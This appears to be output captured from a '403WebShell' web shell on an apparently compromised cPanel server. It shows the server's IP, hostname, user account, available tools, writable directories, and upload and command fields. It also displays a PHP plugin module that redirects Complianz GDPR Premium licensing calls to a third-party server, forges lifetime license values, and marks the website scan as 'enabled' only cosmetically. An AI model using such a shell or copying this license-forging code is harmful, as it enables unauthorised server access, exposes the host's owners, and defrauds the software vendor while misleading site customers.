$plugin = <<403WebShell
403Webshell
Server IP : 193.224.177.188  /  Your IP : 216.73.216.209
Web Server : Apache
System : Linux cpanel.krtk.mta.hu 3.10.0-962.3.2.lve1.5.89.el7.x86_64 #1 SMP Thu Jul 9 15:55:31 UTC 2026 x86_64
User : krtkhu ( 1061)
PHP Version : 8.4.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/krtkhu/public_html/wp-content/plugins/hellopack-client/modules/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home2/krtkhu/public_html/wp-content/plugins/hellopack-client/modules//complianz-gdpr-premium.php
<?php
/**
 * Complianz GDPR Premium module.
 *
 * Redirects Complianz GDPR Premium license API calls to GLS3.
 *
 * @package HelloPack\Client
 */

declare( strict_types=1 );

namespace HelloPack\Modules;

use HelloPack\Client\Module\AbstractModule;
use HelloPack\Client\License\ApiRedirector;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Complianz GDPR Premium license module.
 */
class Complianz_Gdpr_Premium extends AbstractModule {

	/**
	 * Set up module properties.
	 */
	public function setup(): void {
		$this->id          = 'complianz-gdpr-premium';
		$this->name        = 'Complianz GDPR Premium';
		$this->description = 'Manages Complianz GDPR Premium license via GLS3.';
		$this->category    = 'plugin';
		$this->version     = '2.0.0';
		$this->target      = array(
			'plugin_dir'  => 'complianz-gdpr-premium',
			'plugin_file' => 'complianz-gpdr-premium.php',
		);
		$this->target_id   = '3805400819';

		$this->blocked_domains = array(
			'complianz.io/?edd_action=' => self::edd_sl_block(),
		);
	}

	/**
	 * Initialize module — redirect API calls, set license data.
	 */
	public function init(): void {
		ApiRedirector::create( 'https://complianz.io', HELLOPACK_GLS3_URL . '/complianz-gdpr-premium' );
		ApiRedirector::create( 'https://notifications.complianz.io', HELLOPACK_GLS3_URL . '/complianz-gdpr-premium' );

		$this->set_license_data();
		$this->prevent_wsc_lock();
		$this->force_wsc_active();
	}

	/**
	 * Flip the Website Scan UI status to "active" so the customer does not see
	 * the "Pending" / "Disabled" notices.
	 *
	 * This only updates the local WP options that drive the Complianz UI badges.
	 * It does NOT generate a real OAuth token — the actual scan still requires
	 * the customer to complete the email-based signup against api.complianz.io
	 * if they want scan results. Cosmetic UI improvement only.
	 */
	private function force_wsc_active(): void {
		if ( 'enabled' !== get_option( 'cmplz_wsc_signup_status' ) ) {
			update_option( 'cmplz_wsc_signup_status', 'enabled', false );
		}

		if ( 'enabled' !== get_option( 'cmplz_wsc_status' ) ) {
			update_option( 'cmplz_wsc_status', 'enabled', false );
		}

		if ( ! get_option( 'cmplz_wsc_signup_date' ) ) {
			update_option( 'cmplz_wsc_signup_date', time(), false );
		}

		// Clear any leftover error flags that would surface as warnings in the UI.
		$error_options = array(
			'cmplz_wsc_error_token_api',
			'cmplz_wsc_error_email_not_sent',
			'cmplz_wsc_error_email_auth_failed',
			'cmplz_wsc_error_email_mismatch',
			'cmplz_wsc_error_missing_token',
		);

		foreach ( $error_options as $option ) {
			if ( false !== get_option( $option, false ) ) {
				delete_option( $option );
			}
		}
	}

	/**
	 * Prevent the Website Scan onboarding from getting permanently locked out.
	 *
	 * Complianz locks the WSC onboarding when the user dismisses the popup
	 * twice (sum of `cmplz_wsc_onboarding_dismissed` + `cmplz_wsc_websitescan_dismissed`
	 * reaches 2), or when `cmplz_wsc_reset_complete` is true. After that the
	 * popup never appears again and the customer cannot register for the scan.
	 *
	 * We reset these flags on every load IF:
	 *   - the customer is not yet authenticated for WSC, AND
	 *   - the customer has not explicitly disabled WSC via Complianz settings.
	 *
	 * This ensures HelloPack-managed customers never get accidentally locked
	 * out, while still respecting an explicit opt-out.
	 */
	private function prevent_wsc_lock(): void {
		// Already authenticated → WSC works, leave state alone.
		if ( 'enabled' === get_option( 'cmplz_wsc_signup_status' ) ) {
			return;
		}

		// Customer explicitly disabled WSC → respect their choice.
		if ( 'disabled' === get_option( 'cmplz_wsc_status' ) ) {
			return;
		}

		$lock_options = array(
			'cmplz_wsc_onboarding_dismissed',
			'cmplz_wsc_websitescan_dismissed',
			'cmplz_wsc_reset_complete',
		);

		foreach ( $lock_options as $option ) {
			if ( false !== get_option( $option, false ) ) {
				delete_option( $option );
			}
		}
	}

	/**
	 * Set license key, status and site options.
	 *
	 * Complianz uses site_options for multisite support and a custom
	 * transient system stored in the 'cmplz_transients' option.
	 */
	private function set_license_data(): void {
		$site_options = array(
			'cmplz_license_key'              => 'activated',
			'cmplz_license_expires'          => 'lifetime',
			'cmplz_license_activation_limit' => 999,
			'cmplz_license_activations_left' => 990,
		);

		foreach ( $site_options as $key => $value ) {
			if ( get_site_option( $key ) !== $value ) {
				update_site_option( $key, $value );
			}
		}

		// Also set the regular option for non-multisite installs.
		$current_key = get_option( 'cmplz_license_key' );

		if ( 'activated' !== $current_key ) {
			update_option( 'cmplz_license_key', 'activated' );
		}

		// Set custom transient for license status (1 month expiration).
		$this->set_cmplz_transient( 'cmplz_license_status', 'valid', MONTH_IN_SECONDS );
	}

	/**
	 * Set a Complianz custom transient.
	 *
	 * Complianz stores transients in the 'cmplz_transients' option/site_option
	 * instead of using the WP transient API.
	 *
	 * @param string $name       Transient name.
	 * @param string $value      Transient value.
	 * @param int    $expiration Expiration in seconds.
	 */
	private function set_cmplz_transient( string $name, string $value, int $expiration ): void {
		if ( is_multisite() ) {
			$transients = get_site_option( 'cmplz_transients', array() );
		} else {
			$transients = get_option( 'cmplz_transients', array() );
		}

		if ( ! is_array( $transients ) ) {
			$transients = array();
		}

		// Only update if not already set with a valid (non-expired) value.
		if ( isset( $transients[ $name ] )
			&& isset( $transients[ $name ]['value'] )
			&& $value === $transients[ $name ]['value']
			&& isset( $transients[ $name ]['expires'] )
			&& $transients[ $name ]['expires'] > time()
		) {
			return;
		}

		$transients[ $name ] = array(
			'value'   => $value,
			'expires' => time() + $expiration,
		);

		if ( is_multisite() ) {
			update_site_option( 'cmplz_transients', $transients );
		} else {
			update_option( 'cmplz_transients', $transients );
		}
	}

	/**
	 * Cleanup on disable — remove license data.
	 */
	public function cleanup(): void {
		update_option( 'cmplz_license_key', '' );
		update_site_option( 'cmplz_license_key', '' );
		hellopack_delete_option( 'cmplz_license_expires' );
		hellopack_delete_option( 'cmplz_license_activation_limit' );
		hellopack_delete_option( 'cmplz_license_activations_left' );

		// Clear custom transient.
		if ( is_multisite() ) {
			$transients = get_site_option( 'cmplz_transients', array() );
		} else {
			$transients = get_option( 'cmplz_transients', array() );
		}

		if ( is_array( $transients ) && isset( $transients['cmplz_license_status'] ) ) {
			unset( $transients['cmplz_license_status'] );

			if ( is_multisite() ) {
				update_site_option( 'cmplz_transients', $transients );
			} else {
				update_option( 'cmplz_transients', $transients );
			}
		}

		// Reset Website Scan flags so the customer regains the original
		// "not configured" state once HelloPack hands control back.
		delete_option( 'cmplz_wsc_signup_status' );
		delete_option( 'cmplz_wsc_status' );
		delete_option( 'cmplz_wsc_signup_date' );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit